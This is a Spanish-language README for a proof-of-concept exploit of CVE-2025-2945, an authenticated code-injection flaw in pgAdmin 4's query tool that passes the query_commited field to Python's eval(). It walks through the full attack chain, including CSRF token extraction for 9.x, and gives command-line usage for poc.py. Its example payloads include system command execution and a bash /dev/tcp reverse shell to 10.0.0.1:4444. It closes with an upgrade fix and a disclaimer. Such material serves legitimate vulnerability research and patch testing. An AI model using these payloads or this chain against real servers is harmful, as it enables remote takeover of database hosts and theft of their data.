
RCE autenticado en pgAdmin 4 (8.10–9.1) mediante inyección de eval() en la herramienta de consultas. Este es un PoC actualizado con correcciones de compatibilidad para los cambios de autenticación de pgAdmin 9.x
Prueba de concepto para CVE-2025-2945, una vulnerabilidad crítica de ejecución remota de código en pgAdmin 4.
Versiones afectadas: 8.10 hasta 9.1
Corregido en: 9.2 (publicada el 4 de abril de 2025)
CVSS v3.1: 9.9 (Crítica)
La herramienta de consulta de pgAdmin 4 expone un endpoint que acepta un parámetro query_commited y lo pasa directamente a la función incorporada eval() de Python sin ningún tipo de saneamiento. Un atacante autenticado puede enviar código Python arbitrario a través de este parámetro y hacer que se ejecute en el servidor bajo la cuenta de servicio de pgAdmin.
El endpoint vulnerable es:
POST /sqleditor/query_tool/download/<trans_id>
El campo query_commited del cuerpo JSON se evalúa como código Python en el servidor.
En las versiones de pgAdmin 4 anteriores a la 9.2, el manejador de descarga de la herramienta de consulta llama a eval() sobre la entrada proporcionada por el usuario:
# Simplified representation of the vulnerable code path
result = eval(data.get('query_commited'))
No se aplica ninguna validación de entrada, sandboxing ni lista de permitidos. Cualquier expresión Python válida se ejecuta con los privilegios del proceso de pgAdmin.
/authenticate/login, obtener una cookie de sesión y el token CSRF/sqleditor/initialize/sqleditor/<trans_id>/<sgid>/<sid>/<did> con las credenciales de la base de datos para establecer una sesión de la herramienta de consulta/sqleditor/get_server_connection/<sgid>/<sid> iterando sobre IDs hasta que uno devuelva data.status == true/sqleditor/query_tool/download/<trans_id> con {"query_commited": "<python payload>"}, y recibir una respuesta 500 que confirme la ejecuciónLas versiones anteriores de pgAdmin incrustaban el token CSRF en un campo <input> oculto o en una cookie. La versión 9.x pasó a una arquitectura SPA de React donde el token se incrusta como JSON dentro de una llamada a window.renderSecurityPage() en la página /login:
"csrfToken": "<token value>"
El token tiene alcance de sesión (Flask-WTF / itsdangerous), por lo que el token obtenido del GET /login inicial sigue siendo válido durante toda la sesión y se puede reutilizar para todas las llamadas API posteriores.
pgAdmin 9.x dividió la ruta de inicio de sesión:
GET /login — renderiza la página de inicio de sesión (contiene el token CSRF)POST /authenticate/login — procesa las credencialesLos PoCs antiguos que hacen POST directamente a /login recibirán un 404 o 405 en instancias 9.x.
pip install requests faker
python3 poc.py \
--rhost <target_host> \
--username <pgadmin_email> \
--password <pgadmin_password> \
--db-user <db_username> \
--db-pass <db_password> \
--db-name <database_name> \
--payload "<python_expression>"
| Argumento | Descripción |
|---|---|
--rhost | Hostname o IP de destino (sin esquema) |
--rport | Puerto de destino (por defecto: 80) |
--username | Correo electrónico de inicio de sesión de pgAdmin |
--password | Contraseña de inicio de sesión de pgAdmin |
--db-user | Nombre de usuario de PostgreSQL |
--db-pass | Contraseña de PostgreSQL |
--db-name | Nombre de la base de datos |
--payload | Expresión Python a evaluar en el servidor |
--max-server-id | Número máximo de IDs de servidor a probar (por defecto: 10) |
Ejecución de comandos:
--payload "__import__('os').system('id')"
Shell inversa:
--payload "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')"
/sqleditor/query_tool/download/Actualiza a la versión 9.2 o posterior de pgAdmin 4.
Este repositorio es solo para fines educativos y de pruebas autorizadas. No lo utilices contra sistemas que no poseas o para los que no tengas permiso explícito de prueba.